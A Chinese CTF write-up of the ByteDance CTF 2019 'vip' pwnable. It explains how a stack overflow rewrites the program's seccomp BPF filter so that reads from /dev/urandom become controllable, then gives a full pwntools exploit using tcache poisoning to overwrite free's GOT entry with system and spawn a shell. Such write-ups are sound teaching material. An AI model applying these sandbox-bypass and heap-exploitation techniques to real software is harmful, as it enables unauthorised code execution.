vip

  • A+
所属分类:CTF专场

Challenge

  • 题目vip

  • 类型:pwnable

  • 来源:ByteDance CTF 2019 Quals

  • 环境:Ubuntu 18.04

  • 难度:Easy


Analysis

照惯例检查一下题目开启的保护,没有PIE,GOT表可写。

gdb-peda$ checksecCANARY    : ENABLEDFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partial

载入IDA后发现为典型的菜单结构,简单梳理一下流程

1.alloc // 添加一个大小为0x50的堆块2.show // puts输出3.free // 4.edit // 存在堆溢出5.exit 6.become vip // 设置seccomp,读入0x50大小栈数据

这里注意到在edit时,读入的时候由write_access控制,默认读入随机数据。我们首先想到是否可以修改这个值,如果通过edit的堆溢出构造unlink或者unsorted bin attack的话都需要控制我们的输入,由此可知这个思路不太可行。

ssize_t __fastcall read_n_4014A8(void *a1, int a2){  int fd; // [rsp+1Ch] [rbp-4h]
if ( write_access_4040E0 ) return read(0, a1, a2); fd = open("/dev/urandom", 0); if ( fd == -1 ) exit(0); return read(fd, a1, a2);

那么我们把注意力放到become vip这个选项,我们先来看一下默认的secomp策略,看起来是标准的沙盒配置。但注意到这段BPF代码是存在栈里的,当我们读入name的时候,通过栈溢出可以改掉这段代码,从而设置不同的seccomp策略。

 $ seccomp-tools dump ./vip ... line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010 0004: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0009 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0009 0007: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0009 0008: 0x06 0x00 0x00 0x00050005  return ERRNO(5) 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0010: 0x06 0x00 0x00 0x00000000  return KILL

我们可以通过栈溢出覆盖0x30个字节,而一条BPF指令是8个字节,因此我们最多可以添加6条BPF指令。这里我们希望在open("/dev/urandom")的是否返回0,BPF是只读的,也就是它并不能修改syscall的参数。幸运的是,我们可以设置open syscall的策略是返回ERRNO(0),这里的0表示Success,被当成fd为0来使用了,因此之后read将从stdin读取。同时考虑到,我们后面如果执行system的话,也会使用open读入/bin/sh,这样的需要加一个判断条件,只让/dev/urandom返回ERRNO。最终构造的BPF代码如下。

A = sys_numberA != openat ? ok : nextA = args[1]A != 0x40207e ? ok:nextreturn ERRNO(0)ok:return ALLOW

这样在edit时,读入的数据便是可控的,结合堆溢出,我们可以写下下一个free块的fd指针到GOT表。因为在libc2.27中使用了tcache,并且从tcache中取出free chunk是没有任何检查的,因此在下下次malloc中,我们可以得到伪造的指针。通过show泄漏出free的libc地址,再通过edit修改free的got表为system,即可getshell。


Solution

完整的利用代码如下:

#!/usr/bin/env python# encoding: utf-8
from pwn import *
r = None
def alloc(idx): r.sendlineafter(': ', '1') r.sendlineafter(': ', str(idx))
def show(idx): r.sendlineafter(': ', '2') r.sendlineafter(': ', str(idx))
def free(idx): r.sendlineafter(': ', '3') r.sendlineafter(': ', str(idx))
def edit(idx, size, data): r.sendlineafter(': ', '4') r.sendlineafter(': ', str(idx)) r.sendlineafter(': ', str(size)) r.sendafter(': ', data)
def vip(sc): r.sendlineafter(': ', '6') r.sendafter(': ', 'x00'*0x20 + sc)
def exploit(): global r r = process('./vip')
code = ELF('./vip') libc = ELF('./libc-2.27.so')
sc = '' sc += '2000000000000000' sc += '1500000301010000' sc += '2000000018000000' sc += '150000017e204000' sc += '0600000000000500' sc += '060000000000ff7f' sc = sc.decode('hex') vip(sc)
alloc(0) alloc(1) alloc(2)
free(1)
p = '/bin/shx00'*10 p += p64(0) + p64(0x61) p += p64(code.got['free']) edit(0, len(p), p)
alloc(3) alloc(4)
show(4) libc.address = u64(r.recv(6)+'x00x00') - libc.sym['free'] log.info(hex(libc.address))
edit(4, 8, p64(libc.sym['system']))
free(0)
r.interactive()
if __name__ == '__main__': exploit()


原文始发于微信公众号(pwnable):vip

  • 版权声明:本站收录文章,于2021年11月8日15:29:12,由 发表,共 2876 字。
  • 转载请注明:vip | CN-SEC 中文网

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: